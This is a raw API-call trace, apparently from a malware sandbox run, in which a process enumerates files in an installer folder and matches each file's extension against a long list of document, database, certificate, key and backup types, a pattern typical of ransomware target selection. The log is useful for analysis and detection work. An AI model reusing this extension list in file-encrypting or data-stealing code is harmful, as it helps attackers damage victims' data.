[0096.767] lstrlenW (lpString=".mde") returned 4 [0096.767] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0096.768] lstrlenW (lpString=".mdf") returned 4 [0096.768] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0096.768] lstrlenW (lpString=".mdw") returned 4 [0096.768] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0096.768] lstrlenW (lpString=".mef") returned 4 [0096.768] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0096.768] lstrlenW (lpString=".mft") returned 4 [0096.768] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0096.768] lstrlenW (lpString=".mfw") returned 4 [0096.768] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0096.768] lstrlenW (lpString=".mht") returned 4 [0096.768] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0096.768] lstrlenW (lpString=".mhtml") returned 6 [0096.768] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0096.768] lstrlenW (lpString=".mka") returned 4 [0096.768] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0096.768] lstrlenW (lpString=".mkidx") returned 6 [0096.768] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0096.768] lstrlenW (lpString=".mkv") returned 4 [0096.768] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0096.768] lstrlenW (lpString=".mos") returned 4 [0096.768] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0096.768] lstrlenW (lpString=".mov") returned 4 [0096.768] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0096.768] lstrlenW (lpString=".mp3") returned 4 [0096.768] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0096.768] lstrlenW (lpString=".mp4") returned 4 [0096.768] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0096.768] lstrlenW (lpString=".mpeg") returned 5 [0096.768] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0096.768] lstrlenW (lpString=".mpg") returned 4 [0096.768] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".mpv") returned 4 [0096.769] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".mrw") returned 4 [0096.769] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".msg") returned 4 [0096.769] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".mxl") returned 4 [0096.769] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".myd") returned 4 [0096.769] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".myi") returned 4 [0096.769] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".nef") returned 4 [0096.769] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".nrw") returned 4 [0096.769] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".obj") returned 4 [0096.769] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".odb") returned 4 [0096.769] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".odc") returned 4 [0096.769] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".odm") returned 4 [0096.769] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".odp") returned 4 [0096.769] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".ods") returned 4 [0096.769] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".oft") returned 4 [0096.769] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".one") returned 4 [0096.769] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0096.769] lstrlenW (lpString=".onepkg") returned 7 [0096.769] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0096.769] lstrlenW (lpString=".onetoc2") returned 8 [0096.769] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0096.770] lstrlenW (lpString=".opt") returned 4 [0096.770] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".oqy") returned 4 [0096.770] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".orf") returned 4 [0096.770] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".p12") returned 4 [0096.770] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".p7b") returned 4 [0096.770] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".p7c") returned 4 [0096.770] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".pam") returned 4 [0096.770] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".pbm") returned 4 [0096.770] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".pct") returned 4 [0096.770] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".pcx") returned 4 [0096.770] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".pdd") returned 4 [0096.770] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".pdf") returned 4 [0096.770] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".pdp") returned 4 [0096.770] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".pef") returned 4 [0096.770] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".pem") returned 4 [0096.770] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".pff") returned 4 [0096.770] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".pfm") returned 4 [0096.770] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".pfx") returned 4 [0096.770] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0096.770] lstrlenW (lpString=".pgm") returned 4 [0096.771] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0096.771] lstrlenW (lpString=".php") returned 4 [0096.771] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0096.771] lstrlenW (lpString=".php3") returned 5 [0096.771] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0096.771] lstrlenW (lpString=".php4") returned 5 [0096.771] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0096.771] lstrlenW (lpString=".php5") returned 5 [0096.771] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0096.771] lstrlenW (lpString=".phtml") returned 6 [0096.771] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0096.771] lstrlenW (lpString=".pict") returned 5 [0096.771] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0096.771] lstrlenW (lpString=".pl") returned 3 [0096.771] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0096.771] lstrlenW (lpString=".pls") returned 4 [0096.771] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0096.771] lstrlenW (lpString=".pm") returned 3 [0096.771] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0096.771] lstrlenW (lpString=".png") returned 4 [0096.771] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0096.771] lstrlenW (lpString=".pnm") returned 4 [0096.771] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0096.771] lstrlenW (lpString=".pot") returned 4 [0096.771] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0096.771] lstrlenW (lpString=".potm") returned 5 [0096.771] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0096.771] lstrlenW (lpString=".potx") returned 5 [0096.771] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0096.771] lstrlenW (lpString=".ppa") returned 4 [0096.771] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0096.771] lstrlenW (lpString=".ppam") returned 5 [0096.771] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0096.771] lstrlenW (lpString=".ppm") returned 4 [0096.772] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0096.772] lstrlenW (lpString=".pps") returned 4 [0096.772] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0096.772] lstrlenW (lpString=".ppsm") returned 5 [0096.772] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0096.772] lstrlenW (lpString=".ppt") returned 4 [0096.772] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0096.772] lstrlenW (lpString=".pptm") returned 5 [0096.772] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0096.772] lstrlenW (lpString=".pptx") returned 5 [0096.772] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0096.772] lstrlenW (lpString=".prn") returned 4 [0096.772] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0096.772] lstrlenW (lpString=".ps") returned 3 [0096.772] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0096.772] lstrlenW (lpString=".psb") returned 4 [0096.772] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0096.772] lstrlenW (lpString=".psd") returned 4 [0096.772] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0096.772] lstrlenW (lpString=".pst") returned 4 [0096.772] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0096.772] lstrlenW (lpString=".ptx") returned 4 [0096.772] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0096.772] lstrlenW (lpString=".pub") returned 4 [0096.772] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0096.772] lstrlenW (lpString=".pwm") returned 4 [0096.772] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0096.772] lstrlenW (lpString=".pxr") returned 4 [0096.772] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0096.772] lstrlenW (lpString=".py") returned 3 [0096.772] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0096.772] lstrlenW (lpString=".qt") returned 3 [0096.772] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0096.773] lstrlenW (lpString=".r3d") returned 4 [0096.773] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0096.773] lstrlenW (lpString=".raf") returned 4 [0096.773] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0096.773] lstrlenW (lpString=".rar") returned 4 [0096.773] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0096.773] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0096.773] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0096.773] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0096.773] FindClose (in: hFindFile=0x3e502c0 | out: hFindFile=0x3e502c0) returned 1 [0096.773] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0096.773] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0096.774] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0096.774] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033") returned 26 [0096.774] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e502c0 [0096.778] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.778] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0096.779] lstrlenW (lpString="eula.rtf") returned 8 [0096.779] lstrlenW (lpString=".1cd") returned 4 [0096.779] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0096.779] lstrlenW (lpString=".3ds") returned 4 [0096.779] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0096.779] lstrlenW (lpString=".3fr") returned 4 [0096.779] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0096.779] lstrlenW (lpString=".3g2") returned 4 [0096.779] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0096.779] lstrlenW (lpString=".3gp") returned 4 [0096.779] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0096.779] lstrlenW (lpString=".7z") returned 3 [0096.779] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0096.779] lstrlenW (lpString=".accda") returned 6 [0096.779] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0096.779] lstrlenW (lpString=".accdb") returned 6 [0096.779] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0096.779] lstrlenW (lpString=".accdc") returned 6 [0096.779] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0096.779] lstrlenW (lpString=".accde") returned 6 [0096.779] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0096.779] lstrlenW (lpString=".accdt") returned 6 [0096.779] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0096.779] lstrlenW (lpString=".accdw") returned 6 [0096.779] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0096.779] lstrlenW (lpString=".adb") returned 4 [0096.779] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0096.779] lstrlenW (lpString=".adp") returned 4 [0096.779] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0096.779] lstrlenW (lpString=".ai") returned 3 [0096.779] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0096.779] lstrlenW (lpString=".ai3") returned 4 [0096.779] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0096.779] lstrlenW (lpString=".ai4") returned 4 [0096.780] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0096.780] lstrlenW (lpString=".ai5") returned 4 [0096.780] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0096.780] lstrlenW (lpString=".ai6") returned 4 [0096.780] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0096.780] lstrlenW (lpString=".ai7") returned 4 [0096.780] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0096.780] lstrlenW (lpString=".ai8") returned 4 [0096.780] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0096.780] lstrlenW (lpString=".anim") returned 5 [0096.780] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0096.780] lstrlenW (lpString=".arw") returned 4 [0096.780] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0096.780] lstrlenW (lpString=".as") returned 3 [0096.780] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0096.780] lstrlenW (lpString=".asa") returned 4 [0096.780] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0096.780] lstrlenW (lpString=".asc") returned 4 [0096.780] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0096.780] lstrlenW (lpString=".ascx") returned 5 [0096.780] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0096.780] lstrlenW (lpString=".asm") returned 4 [0096.780] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0096.780] lstrlenW (lpString=".asmx") returned 5 [0096.780] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0096.781] lstrlenW (lpString=".asp") returned 4 [0096.781] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0096.781] lstrlenW (lpString=".aspx") returned 5 [0096.781] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0096.781] lstrlenW (lpString=".asr") returned 4 [0096.781] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0096.781] lstrlenW (lpString=".asx") returned 4 [0096.781] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0096.781] lstrlenW (lpString=".avi") returned 4 [0096.781] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0096.781] lstrlenW (lpString=".avs") returned 4 [0096.781] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0096.781] lstrlenW (lpString=".backup") returned 7 [0096.781] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0096.781] lstrlenW (lpString=".bak") returned 4 [0096.781] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0096.781] lstrlenW (lpString=".bay") returned 4 [0096.781] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0096.781] lstrlenW (lpString=".bd") returned 3 [0096.781] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0096.781] lstrlenW (lpString=".bin") returned 4 [0096.781] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0096.781] lstrlenW (lpString=".bmp") returned 4 [0096.782] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0096.782] lstrlenW (lpString=".bz2") returned 4 [0096.782] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0096.782] lstrlenW (lpString=".c") returned 2 [0096.782] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0096.782] lstrlenW (lpString=".cdr") returned 4 [0096.782] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0096.782] lstrlenW (lpString=".cer") returned 4 [0096.782] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0096.782] lstrlenW (lpString=".cf") returned 3 [0096.782] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0096.782] lstrlenW (lpString=".cfc") returned 4 [0096.782] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0096.782] lstrlenW (lpString=".cfm") returned 4 [0096.782] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0096.782] lstrlenW (lpString=".cfml") returned 5 [0096.782] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0096.782] lstrlenW (lpString=".cfu") returned 4 [0096.782] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0096.782] lstrlenW (lpString=".chm") returned 4 [0096.782] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0096.782] lstrlenW (lpString=".cin") returned 4 [0096.782] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0096.782] lstrlenW (lpString=".class") returned 6 [0096.782] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0096.783] lstrlenW (lpString=".clx") returned 4 [0096.783] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0096.783] lstrlenW (lpString=".config") returned 7 [0096.783] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0096.783] lstrlenW (lpString=".cpp") returned 4 [0096.783] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0096.783] lstrlenW (lpString=".cr2") returned 4 [0096.783] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0096.783] lstrlenW (lpString=".crt") returned 4 [0096.783] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0096.783] lstrlenW (lpString=".crw") returned 4 [0096.783] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0096.783] lstrlenW (lpString=".cs") returned 3 [0096.783] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0096.783] lstrlenW (lpString=".css") returned 4 [0096.783] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0096.783] lstrlenW (lpString=".csv") returned 4 [0096.783] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0096.783] lstrlenW (lpString=".cub") returned 4 [0096.783] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0096.783] lstrlenW (lpString=".dae") returned 4 [0096.783] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0096.783] lstrlenW (lpString=".dat") returned 4 [0096.783] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0096.783] lstrlenW (lpString=".db") returned 3 [0096.783] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0096.783] lstrlenW (lpString=".dbf") returned 4 [0096.784] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0096.784] lstrlenW (lpString=".dbx") returned 4 [0096.784] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0096.784] lstrlenW (lpString=".dc3") returned 4 [0096.784] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0096.784] lstrlenW (lpString=".dcm") returned 4 [0096.784] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0096.784] lstrlenW (lpString=".dcr") returned 4 [0096.784] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0096.784] lstrlenW (lpString=".der") returned 4 [0096.784] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0096.784] lstrlenW (lpString=".dib") returned 4 [0096.784] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0096.784] lstrlenW (lpString=".dic") returned 4 [0096.784] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0096.784] lstrlenW (lpString=".dif") returned 4 [0096.784] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0096.784] lstrlenW (lpString=".divx") returned 5 [0096.784] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0096.784] lstrlenW (lpString=".djvu") returned 5 [0096.784] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0096.784] lstrlenW (lpString=".dng") returned 4 [0096.784] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0096.784] lstrlenW (lpString=".doc") returned 4 [0096.784] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0096.784] lstrlenW (lpString=".docm") returned 5 [0096.784] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0096.784] lstrlenW (lpString=".docx") returned 5 [0096.785] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0096.785] lstrlenW (lpString=".dot") returned 4 [0096.785] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0096.785] lstrlenW (lpString=".dotm") returned 5 [0096.785] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0096.785] lstrlenW (lpString=".dotx") returned 5 [0096.785] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0096.785] lstrlenW (lpString=".dpx") returned 4 [0096.785] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0096.785] lstrlenW (lpString=".dqy") returned 4 [0096.785] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0096.785] lstrlenW (lpString=".dsn") returned 4 [0096.785] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0096.785] lstrlenW (lpString=".dt") returned 3 [0096.785] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0096.785] lstrlenW (lpString=".dtd") returned 4 [0096.785] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0096.785] lstrlenW (lpString=".dwg") returned 4 [0096.785] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0096.785] lstrlenW (lpString=".dwt") returned 4 [0096.785] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0096.785] lstrlenW (lpString=".dx") returned 3 [0096.785] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0096.785] lstrlenW (lpString=".dxf") returned 4 [0096.785] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0096.785] lstrlenW (lpString=".edml") returned 5 [0096.785] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0096.785] lstrlenW (lpString=".efd") returned 4 [0096.786] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0096.786] lstrlenW (lpString=".elf") returned 4 [0096.786] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0096.786] lstrlenW (lpString=".emf") returned 4 [0096.786] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0096.786] lstrlenW (lpString=".emz") returned 4 [0096.786] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0096.786] lstrlenW (lpString=".epf") returned 4 [0096.786] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0096.786] lstrlenW (lpString=".eps") 